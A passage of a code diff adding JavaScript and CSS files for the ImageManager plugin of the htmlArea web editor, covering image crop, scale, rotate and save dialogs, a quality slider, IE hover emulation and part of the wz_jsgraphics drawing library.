+ var values = selected.split(",");
+ if(values.length >1) {
+ updateSlider(parseInt(values[1]));
+ }
+
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ init = function()
+ {
+ var bottom = document.getElementById('bottom');
+ if(window.opener)
+ {
+ __dlg_init(bottom);
+ __dlg_translate(I18N);
+ }
+ }
+
+ addEvent(window, 'load', init);
\ No newline at end of file
--- /dev/null
+body { margin: 0; padding: 0; background-color: #eee; }
+table { width: 100%; }
+table td { text-align: center; }
+.crop{cursor:crosshair;}
+.selection { border: dotted 1px #000000; position:absolute; width: 0px; height: 1px; z-index:5; }
+.selectionWhite{ border: dotted 1px #FFFFFF; position:absolute; width: 0px; height: 1px; z-index:5; }
+.handleBox{ z-index:105; }
+.error { font-size:large; font-weight:bold; color:#c00; font-family: Helvetica, sans-serif; }
\ No newline at end of file
--- /dev/null
+/**
+ * Javascript used by the editorFrame.php, it basically initializes the frame.
+ * @author $Author: cscott $
+ * @version $Id: editorFrame.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+var topDoc = window.top.document;
+
+var t_cx = topDoc.getElementById('cx');
+var t_cy = topDoc.getElementById('cy');
+var t_cw = topDoc.getElementById('cw');
+var t_ch = topDoc.getElementById('ch');
+
+var m_sx = topDoc.getElementById('sx');
+var m_sy = topDoc.getElementById('sy');
+var m_w = topDoc.getElementById('mw');
+var m_h = topDoc.getElementById('mh');
+var m_a = topDoc.getElementById('ma');
+var m_d = topDoc.getElementById('md');
+
+var s_sw = topDoc.getElementById('sw');
+var s_sh = topDoc.getElementById('sh');
+
+var r_ra = topDoc.getElementById('ra');
+
+var pattern = "img/2x2.gif";
+
+function doSubmit(action)
+{
+ if (action == 'crop')
+ {
+ var url = "editorFrame.php?img="+currentImageFile+"&action=crop¶ms="+parseInt(t_cx.value)+','+parseInt(t_cy.value)+','+ parseInt(t_cw.value)+','+parseInt(t_ch.value);
+
+ //alert(url);
+ location.href = url;
+
+ //location.reload();
+ }
+ else if (action == 'scale')
+ {
+ var url = "editorFrame.php?img="+currentImageFile+"&action=scale¶ms="+parseInt(s_sw.value)+','+parseInt(s_sh.value);
+ //alert(url);
+ location.href = url;
+
+ }
+ else if (action == 'rotate')
+ {
+ var flip = topDoc.getElementById('flip');
+
+ if(flip.value == 'hoz' || flip.value == 'ver')
+ location.href = "editorFrame.php?img="+currentImageFile+"&action=flip¶ms="+flip.value;
+ else if (isNaN(parseFloat(r_ra.value))==false)
+ location.href = "editorFrame.php?img="+currentImageFile+"&action=rotate¶ms="+parseFloat(r_ra.value);
+ }
+ else if(action == 'save') {
+ var s_file = topDoc.getElementById('save_filename');
+ var s_format = topDoc.getElementById('save_format');
+ var s_quality = topDoc.getElementById('quality');
+
+ var format = s_format.value.split(",");
+ if(s_file.value.length <= 0)
+ {
+ alert(i18n('Please enter a filename to save.'));
+ }
+ else
+ {
+ var filename = encodeURI(s_file.value);
+ var quality = parseInt(s_quality.value);
+ var url = "editorFrame.php?img="+currentImageFile+"&action=save¶ms="+format[0]+","+quality+"&file="+filename;
+ //alert(url);
+ location.href = url;
+ }
+ }
+}
+
+
+function addEvent(obj, evType, fn)
+{
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+}
+
+var jg_doc
+
+init = function()
+{
+ jg_doc = new jsGraphics("imgCanvas"); // draw directly into document
+ jg_doc.setColor("#000000"); // black
+
+ initEditor();
+}
+
+addEvent(window, 'load', init);
+
--- /dev/null
+<attach event="onmouseover" handler="hoverRollOver" />
+<attach event="onmouseout" handler="hoverRollOff" />
+<script type="text/javascript">
+//
+// Simple behaviour for IE5+ to emulate :hover CSS pseudo-class.
+// Experimental ver 0.1
+//
+// This is an experimental version! Handle with care!
+// Manual at: http://www.hszk.bme.hu/~hj130/css/list_menu/hover/
+//
+
+function hoverRollOver() {
+
+ element.origClassName = element.className; // backup origonal className
+
+ var tempClassStr = element.className;
+
+ tempClassStr += "Hover"; // convert name+'Hover' the last class name to emulate tag.class:hover
+
+ tempClassStr = tempClassStr.replace(/\s/g,"Hover "); //convert name+'Hover' the others to emulate tag.class:hover
+
+ tempClassStr += " hover"; // add simple 'hover' class name to emulate tag:hover
+
+ element.className = element.className + " " + tempClassStr;
+
+ //alert(element.className);
+ //window.status = element.className; // only for TEST
+}
+function hoverRollOff() {
+ element.className = element.origClassName;
+}
+
+</script>
+
--- /dev/null
+body { margin: 0; padding: 0; }
+.block { height: 98px; width: 98px; border: 1px solid threedface; text-align: center; behavior: url(hover.htc ); }
+.block a img { border: 0 none; }
+.block:hover, .block.hover{ background-color: #ffc; }
+.edit { font-size: 9pt; font-family: "MS Sans Serif", Geneva, sans-serif; padding-top: 3px;}
+.edit a { border: 1px solid white; padding: 3px; }
+.edit a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; background-color: #ffc; }
+.edit a img { border: 0 none; vertical-align: bottom; }
+.noResult { font-size:large; font-weight:bold; color:#ccc; font-family: Helvetica, sans-serif; text-align: center; padding-top: 60px; }
+.error { color:#c00; font-weight:bold; font-size: medium; font-family: Helvetica, sans-serif; text-align: center; padding-top: 65px;}
\ No newline at end of file
--- /dev/null
+/**
+ * Functions for the image listing, used by images.php only
+ * @author $Author: cscott $
+ * @version $Id: images.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+ function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+ };
+
+ function changeDir(newDir)
+ {
+ showMessage('Loading');
+ location.href = "images.php?dir="+newDir;
+ }
+
+
+ function newFolder(dir, newDir)
+ {
+ location.href = "images.php?dir="+dir+"&newDir="+newDir;
+ }
+
+ //update the dir list in the parent window.
+ function updateDir(newDir)
+ {
+ var selection = window.top.document.getElementById('dirPath');
+ if(selection)
+ {
+ for(var i = 0; i < selection.length; i++)
+ {
+ var thisDir = selection.options[i].text;
+ if(thisDir == newDir)
+ {
+ selection.selectedIndex = i;
+ showMessage('Loading');
+ break;
+ }
+ }
+ }
+ }
+
+ function selectImage(filename, alt, width, height)
+ {
+ var topDoc = window.top.document;
+
+ var obj = topDoc.getElementById('f_url'); obj.value = filename;
+ var obj = topDoc.getElementById('f_width'); obj.value = width;
+ var obj = topDoc.getElementById('f_width'); obj.value = width;
+ var obj = topDoc.getElementById('f_height'); obj.value = height;
+ var obj = topDoc.getElementById('f_alt'); obj.value = alt;
+ var obj = topDoc.getElementById('orginal_width'); obj.value = width;
+ var obj = topDoc.getElementById('orginal_height'); obj.value = height;
+ }
+
+ function showMessage(newMessage)
+ {
+ var topDoc = window.top.document;
+
+ var message = topDoc.getElementById('message');
+ var messages = topDoc.getElementById('messages');
+ if(message && messages)
+ {
+ if(message.firstChild)
+ message.removeChild(message.firstChild);
+
+ message.appendChild(topDoc.createTextNode(i18n(newMessage)));
+
+ messages.style.display = "block";
+ }
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ function confirmDeleteFile(file)
+ {
+ if(confirm(i18n("Delete file?")))
+ return true;
+
+ return false;
+ }
+
+ function confirmDeleteDir(dir, count)
+ {
+ if(count > 0)
+ {
+ alert(i18n("Please delete all files/folders inside the folder you wish to delete first."));
+ return;
+ }
+
+ if(confirm(i18n("Delete folder?")))
+ return true;
+
+ return false;
+ }
+
+ addEvent(window, 'load', init);
\ No newline at end of file
--- /dev/null
+html, body { background-color: ButtonFace; color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+fieldset { padding: 0;}
+.title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px solid black; letter-spacing: 2px;}
+form { padding: 0px; margin: 0 auto; width: 550px;}
+.dirWidth { width: 70%; }
+a { padding: 5px; border: 1px solid ButtonFace; }
+a img { border: 0; }
+a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; }
+.dirs { padding: 1em; }
+.imageFrame { width: 525px; height: 145px; margin: 0 auto; margin-top: 1em; background-color: White;}
+.smallWidth{ width: 4em; }
+.largelWidth{ width: 22em; }
+.inputTable { margin: 1em auto; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+.clearboth{ clear: both; }
+#messages { position: relative; left: 175px; top: 115px; background-color: white; width:200px; float: left; margin-top: -52px; border: 1px solid #ccc; text-align: center; padding: 15px; }
+#message { font-size: 15px; font-weight: bold; color: #69c; }
--- /dev/null
+/**
+ * Functions for the ImageManager, used by manager.php only
+ * @author $Author: cscott $
+ * @version $Id: manager.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+ //Translation
+ function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+ };
+
+
+ //set the alignment options
+ function setAlign(align)
+ {
+ var selection = document.getElementById('f_align');
+ for(var i = 0; i < selection.length; i++)
+ {
+ if(selection.options[i].value == align)
+ {
+ selection.selectedIndex = i;
+ break;
+ }
+ }
+ }
+
+ //initialise the form
+ init = function ()
+ {
+ __dlg_init();
+
+ if(I18N)
+ __dlg_translate(I18N);
+
+ var uploadForm = document.getElementById('uploadForm');
+ if(uploadForm) uploadForm.target = 'imgManager';
+
+ var param = window.dialogArguments;
+ if (param)
+ {
+ document.getElementById("f_url").value = param["f_url"];
+ document.getElementById("f_alt").value = param["f_alt"];
+ document.getElementById("f_border").value = param["f_border"];
+ document.getElementById("f_vert").value = param["f_vert"];
+ document.getElementById("f_horiz").value = param["f_horiz"];
+ document.getElementById("f_width").value = param["f_width"];
+ document.getElementById("f_height").value = param["f_height"];
+ setAlign(param["f_align"]);
+ }
+
+ document.getElementById("f_url").focus();
+ }
+
+
+ function onCancel()
+ {
+ __dlg_close(null);
+ return false;
+ };
+
+ function onOK()
+ {
+ // pass data back to the calling window
+ var fields = ["f_url", "f_alt", "f_align", "f_border", "f_horiz", "f_vert", "f_height", "f_width"];
+ var param = new Object();
+ for (var i in fields)
+ {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ if(id == "f_url" && el.value.indexOf('://') < 0 )
+ param[id] = makeURL(base_url,el.value);
+ else
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+ };
+
+ //similar to the Files::makeFile() in Files.php
+ function makeURL(pathA, pathB)
+ {
+ if(pathA.substring(pathA.length-1) != '/')
+ pathA += '/';
+
+ if(pathB.charAt(0) == '/');
+ pathB = pathB.substring(1);
+
+ return pathA+pathB;
+ }
+
+
+ function updateDir(selection)
+ {
+ var newDir = selection.options[selection.selectedIndex].value;
+ changeDir(newDir);
+ }
+
+ function goUpDir()
+ {
+ var selection = document.getElementById('dirPath');
+ var currentDir = selection.options[selection.selectedIndex].text;
+ if(currentDir.length < 2)
+ return false;
+ var dirs = currentDir.split('/');
+
+ var search = '';
+
+ for(var i = 0; i < dirs.length - 2; i++)
+ {
+ search += dirs[i]+'/';
+ }
+
+ for(var i = 0; i < selection.length; i++)
+ {
+ var thisDir = selection.options[i].text;
+ if(thisDir == search)
+ {
+ selection.selectedIndex = i;
+ var newDir = selection.options[i].value;
+ changeDir(newDir);
+ break;
+ }
+ }
+ }
+
+ function changeDir(newDir)
+ {
+ if(typeof imgManager != 'undefined')
+ imgManager.changeDir(newDir);
+ }
+
+ function toggleConstrains(constrains)
+ {
+ var lockImage = document.getElementById('imgLock');
+ var constrains = document.getElementById('constrain_prop');
+
+ if(constrains.checked)
+ {
+ lockImage.src = "img/locked.gif";
+ checkConstrains('width')
+ }
+ else
+ {
+ lockImage.src = "img/unlocked.gif";
+ }
+ }
+
+ function checkConstrains(changed)
+ {
+ //alert(document.form1.constrain_prop);
+ var constrains = document.getElementById('constrain_prop');
+
+ if(constrains.checked)
+ {
+ var obj = document.getElementById('orginal_width');
+ var orginal_width = parseInt(obj.value);
+ var obj = document.getElementById('orginal_height');
+ var orginal_height = parseInt(obj.value);
+
+ var widthObj = document.getElementById('f_width');
+ var heightObj = document.getElementById('f_height');
+
+ var width = parseInt(widthObj.value);
+ var height = parseInt(heightObj.value);
+
+ if(orginal_width > 0 && orginal_height > 0)
+ {
+ if(changed == 'width' && width > 0) {
+ heightObj.value = parseInt((width/orginal_width)*orginal_height);
+ }
+
+ if(changed == 'height' && height > 0) {
+ widthObj.value = parseInt((height/orginal_height)*orginal_width);
+ }
+ }
+ }
+ }
+
+ function showMessage(newMessage)
+ {
+ var message = document.getElementById('message');
+ var messages = document.getElementById('messages');
+ if(message.firstChild)
+ message.removeChild(message.firstChild);
+
+ message.appendChild(document.createTextNode(i18n(newMessage)));
+
+ messages.style.display = "block";
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ function doUpload()
+ {
+
+ var uploadForm = document.getElementById('uploadForm');
+ if(uploadForm)
+ showMessage('Uploading');
+ }
+
+ function refresh()
+ {
+ var selection = document.getElementById('dirPath');
+ updateDir(selection);
+ }
+
+
+ function newFolder()
+ {
+ var selection = document.getElementById('dirPath');
+ var dir = selection.options[selection.selectedIndex].value;
+
+ Dialog("newFolder.html", function(param)
+ {
+ if (!param) // user must have pressed Cancel
+ return false;
+ else
+ {
+ var folder = param['f_foldername'];
+ if(folder == thumbdir)
+ {
+ alert(i18n('Invalid folder name, please choose another folder name.'));
+ return false;
+ }
+
+ if (folder && folder != '' && typeof imgManager != 'undefined')
+ imgManager.newFolder(dir, encodeURI(folder));
+ }
+ }, null);
+ }
+
+ addEvent(window, 'load', init);
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+// Slightly modified for the ImageManager, window resizing is done only
+// by each window's script. Added translation for a few other HTML elements.
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function comboSelectValue(c, val) {
+ var ops = c.getElementsByTagName("option");
+ for (var i = ops.length; --i >= 0;) {
+ var op = ops[i];
+ op.selected = (op.value == val);
+ }
+ c.value = val;
+};
+
+function __dlg_onclose() {
+ if(opener.Dialog._return)
+ opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+ var body = document.body;
+ var body_height = 0;
+ if (typeof bottom == "undefined") {
+ var div = document.createElement("div");
+ body.appendChild(div);
+ var pos = getAbsolutePos(div);
+ body_height = pos.y;
+ } else {
+ var pos = getAbsolutePos(bottom);
+ body_height = pos.y + bottom.offsetHeight;
+ }
+ if(opener && opener.Dialog && opener.Dialog._arguments)
+ window.dialogArguments = opener.Dialog._arguments;
+ if (!document.all) {
+ //window.sizeToContent();
+ //window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+ var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ //window.innerWidth = body.offsetWidth + 5;
+ //window.innerHeight = body_height + 2;
+ } else {
+ // window.dialogHeight = body.offsetHeight + 50 + "px";
+ // window.dialogWidth = body.offsetWidth + "px";
+ //window.resizeTo(body.offsetWidth, body_height);
+ var ch = body.clientHeight;
+ var cw = body.clientWidth;
+ //window.resizeBy(body.offsetWidth - cw, body_height - ch);
+ var W = body.offsetWidth;
+ var H = 2 * body_height - ch;
+ if(ch <= 0) H = body_height;
+ var x = (screen.availWidth - W) / 2;
+ var y = (screen.availHeight - H) / 2;
+
+ window.moveTo(x, y);
+ }
+ document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+ var types = ["span", "option", "td", "button", "div", "label", "a","img", "legend"];
+ for (var type in types) {
+ var spans = document.getElementsByTagName(types[type]);
+ for (var i = spans.length; --i >= 0;) {
+ var span = spans[i];
+ if (span.firstChild && span.firstChild.data) {
+ var txt = i18n[span.firstChild.data];
+ if (txt) span.firstChild.data = txt;
+ }
+ if(span.title){
+ var txt = i18n[span.title];
+ if(txt) span.title = txt;
+ }
+ if(span.alt){
+ var txt = i18n[span.alt];
+ if(txt) span.alt = txt;
+ }
+ }
+ }
+ var txt = i18n[document.title];
+ if (txt)
+ document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ opener.Dialog._return(val);
+ window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+ ev || (ev = window.event);
+ if (ev.keyCode == 27) {
+ window.close();
+ return false;
+ }
+ return true;
+};
--- /dev/null
+/***********************************************************************
+** Title.........: Simple Lite Slider for Image Editor
+** Version.......: 1.1
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: slider.js
+** Last changed..: 31 Mar 2004
+** Notes.........: Works in IE and Mozilla
+**/
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+document.onmouseup = captureStop;
+
+var currentSlider = null,sliderField = null;
+var rangeMin = null, rangeMax= null, sx = -1, sy = -1, initX=0;
+
+function getMouseXY(e) {
+
+ //alert('hello');
+ x = ns6? e.clientX: event.clientX
+ y = ns6? e.clientY: event.clientY
+
+ if (sx < 0) sx = x; if (sy < 0) sy = y;
+
+ var dx = initX +(x-sx);
+
+ if (dx <= rangeMin)
+ dx = rangeMin;
+ else if (dx >= rangeMax)
+ dx = rangeMax;
+
+ var range = (dx-rangeMin)/(rangeMax - rangeMin)*100;
+
+ if (currentSlider != null)
+ currentSlider.style.left = dx+"px";
+
+ if (sliderField != null)
+ {
+ sliderField.value = parseInt(range);
+ }
+ return false;
+
+}
+
+function initSlider()
+{
+ if (currentSlider == null)
+ currentSlider = document.getElementById('sliderbar');
+
+ if (sliderField == null)
+ sliderField = document.getElementById('quality');
+
+ if (rangeMin == null)
+ rangeMin = 3
+ if (rangeMax == null)
+ {
+ var track = document.getElementById('slidertrack');
+ rangeMax = parseInt(track.style.width);
+ }
+
+}
+
+function updateSlider(value)
+{
+ initSlider();
+
+ var newValue = parseInt(value)/100*(rangeMax-rangeMin);
+
+ if (newValue <= rangeMin)
+ newValue = rangeMin;
+ else if (newValue >= rangeMax)
+ newValue = rangeMax;
+
+ if (currentSlider != null)
+ currentSlider.style.left = newValue+"px";
+
+ var range = newValue/(rangeMax - rangeMin)*100;
+
+ if (sliderField != null)
+ sliderField.value = parseInt(range);
+}
+
+function captureStart()
+{
+
+ initSlider();
+
+ initX = parseInt(currentSlider.style.left);
+ if (initX > rangeMax)
+ initX = rangeMax;
+ else if (initX < rangeMin)
+ initX = rangeMin;
+
+ document.onmousemove = getMouseXY;
+
+ return false;
+}
+
+function captureStop()
+{
+ sx = -1; sy = -1;
+ document.onmousemove = null;
+ return false;
+}
\ No newline at end of file
--- /dev/null
+/***********************************************************************
+** Title.........: Javascript Graphics
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: wz_jsgraphics.js
+** Last changed..: 31 Aug 2003
+** Notes.........: Modified for Image Editor, added extra commands
+**/
+
+/* This notice must be untouched at all times.
+
+wz_jsgraphics.js v. 2.03
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 3. 11. 2002 by Walter Zorn <walter@kreuzotter.de>
+Last modified: 11. 6. 2003
+
+High Performance JavaScript Graphics Library.
+Provides methods
+- to draw lines, rectangles, ellipses, polygons
+ with specifiable line thickness,
+- to fill rectangles and ellipses
+- to draw text.
+NOTE: Operations, functions and branching have rather been optimized
+to efficiency and speed than to shortness of source code.
+
+This program is free software;
+you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation;
+either version 2 of the License, or (at your option) any later version.
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY;
+without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+See the GNU General Public License
+at http://www.gnu.org/copyleft/gpl.html for more details.
+*/
+
+
+
+
+
+var jg_ihtm, jg_ie, jg_dom,
+jg_n4 = (document.layers && typeof document.classes != "undefined");
+
+
+
+
+
+function chkDHTM(x, i)
+{
+ x = document.body || null;
+ jg_ie = (x && typeof x.insertAdjacentHTML != "undefined");
+ jg_dom = (x && !jg_ie &&
+ typeof x.appendChild != "undefined" &&
+ typeof document.createRange != "undefined" &&
+ typeof (i = document.createRange()).setStartBefore != "undefined" &&
+ typeof i.createContextualFragment != "undefined");
+ jg_ihtm = (!jg_ie && !jg_dom && x && typeof x.innerHTML != "undefined");
+}
+
+
+
+
+
+function pntDoc()
+{
+ this.wnd.document.write(this.htm);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvDom()
+{
+ var x = document.createRange();
+ x.setStartBefore(this.cnv);
+ x = x.createContextualFragment(this.htm);
+ this.cnv.appendChild(x);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvIe()
+{
+ this.cnv.insertAdjacentHTML("BeforeEnd", this.htm);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvIhtm()
+{
+ this.cnv.innerHTML += this.htm;
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnv()
+{
+ this.htm = '';
+}
+
+
+
+
+
+function mkDiv(x, y, w, h)
+{
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;background-color:' + this.color + ';'+
+ '"><\/div>';
+
+ //alert(this.htm);
+}
+
+
+
+
+function mkDivPrint(x, y, w, h)
+{
+ this.htm += '<div style="position:absolute;'+
+ 'border-left:' + w + 'px solid ' + this.color + ';'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;background-color:' + this.color + ';'+
+ '"><\/div>';
+}
+
+
+
+
+
+function mkLyr(x, y, w, h)
+{
+ this.htm += '<layer '+
+ 'left="' + x + '" '+
+ 'top="' + y + '" '+
+ 'width="' + w + '" '+
+ 'height="' + h + '" '+
+ 'bgcolor="' + this.color + '"><\/layer>\n';
+}
+
+
+
+
+
+function mkLbl(txt, x, y)
+{
+ this.htm += '<div style="position:absolute;white-space:nowrap;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'font-family:' + this.ftFam + ';'+
+ 'font-size:' + this.ftSz + ';'+
+ 'color:' + this.color + ';' + this.ftSty + '">'+
+ txt +
+ '<\/div>';
+}
+
+
+
+
+
+function mkLin(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1;
+
+ if (dx >= dy)
+ {
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx,
+ ox = x;
+ while ((dx--) > 0)
+ {
+ ++x;
+ if (p > 0)
+ {
+ this.mkDiv(ox, y, x-ox, 1);
+ y += yIncr;
+ p += pru;
+ ox = x;
+ }
+ else p += pr;
+ }
+ this.mkDiv(ox, y, x2-ox+1, 1);
+ }
+
+ else
+ {
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy,
+ oy = y;
+ if (y2 <= y1)
+ {
+ while ((dy--) > 0)
+ {
+ if (p > 0)
+ {
+ this.mkDiv(x++, y, 1, oy-y+1);
+ y += yIncr;
+ p += pru;
+ oy = y;
+ }
+ else
+ {
+ y += yIncr;
+ p += pr;
+ }
+ }
+ this.mkDiv(x2, y2, 1, oy-y2+1);
+ }
+ else
+ {
+ while ((dy--) > 0)
+ {
+ y += yIncr;
+ if (p > 0)
+ {
+ this.mkDiv(x++, oy, 1, y-oy);
+ p += pru;
+ oy = y;
+ }
+ else p += pr;
+ }
+ this.mkDiv(x2, oy, 1, y2-oy+1);
+ }
+ }
+}
+
+
+
+
+
+function mkLin2D(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1;
+
+
+ var s = this.stroke;
+ if (dx >= dy)
+ {
+ if (s-0x3 > 0)
+ {
+ var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx;
+ _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+ }
+ else var _s = s;
+ var ad = Math.ceil(s/2);
+
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx,
+ ox = x;
+ while ((dx--) > 0)
+ {
+ ++x;
+ if (p > 0)
+ {
+ this.mkDiv(ox, y, x-ox+ad, _s);
+ y += yIncr;
+ p += pru;
+ ox = x;
+ }
+ else p += pr;
+ }
+ this.mkDiv(ox, y, x2-ox+ad+1, _s);
+ }
+
+ else
+ {
+ if (s-0x3 > 0)
+ {
+ var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy;
+ _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+ }
+ else var _s = s;
+ var ad = Math.round(s/2);
+
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy,
+ oy = y;
+ if (y2 <= y1)
+ {
+ ++ad;
+ while ((dy--) > 0)
+ {
+ if (p > 0)
+ {
+ this.mkDiv(x++, y, _s, oy-y+ad);
+ y += yIncr;
+ p += pru;
+ oy = y;
+ }
+ else
+ {
+ y += yIncr;
+ p += pr;
+ }
+ }
+ this.mkDiv(x2, y2, _s, oy-y2+ad);
+ }
+ else
+ {
+ while ((dy--) > 0)
+ {
+ y += yIncr;
+ if (p > 0)
+ {
+ this.mkDiv(x++, oy, _s, y-oy+ad);
+ p += pru;
+ oy = y;
+ }
+ else p += pr;
+ }
+ this.mkDiv(x2, oy, _s, y2-oy+ad+1);
+ }
+ }
+}
+
+
+
+
+
+function mkLinDott(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1,
+ drw = true;
+ if (dx >= dy)
+ {
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx;
+ while ((dx--) > 0)
+ {
+ if (drw) this.mkDiv(x, y, 1, 1);
+ drw = !drw;
+ if (p > 0)
+ {
+ y += yIncr;
+ p += pru;
+ }
+ else p += pr;
+ ++x;
+ }
+ if (drw) this.mkDiv(x, y, 1, 1);
+ }
+
+ else
+ {
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy;
+ while ((dy--) > 0)
+ {
+ if (drw) this.mkDiv(x, y, 1, 1);
+ drw = !drw;
+ y += yIncr;
+ if (p > 0)
+ {
+ ++x;
+ p += pru;
+ }
+ else p += pr;
+ }
+ if (drw) this.mkDiv(x, y, 1, 1);
+ }
+}
+
+
+
+
+
+function mkOv(left, top, width, height)
+{
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = (height&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ ox = 0, oy = b,
+ aa = (a*a)<<1, bb = (b*b)<<1,
+ st = (aa>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa*((b<<1)-1),
+ w, h;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ w = x-ox;
+ h = oy-y;
+ if (w&0x2 && h&0x2)
+ {
+ this.mkOvQds(cx, cy, -x+0x2, ox+wod, -oy, oy-1+hod, 1, 1);
+ this.mkOvQds(cx, cy, -x+1, x-1+wod, -y-1, y+hod, 1, 1);
+ }
+ else this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, oy-h+hod, w, h);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
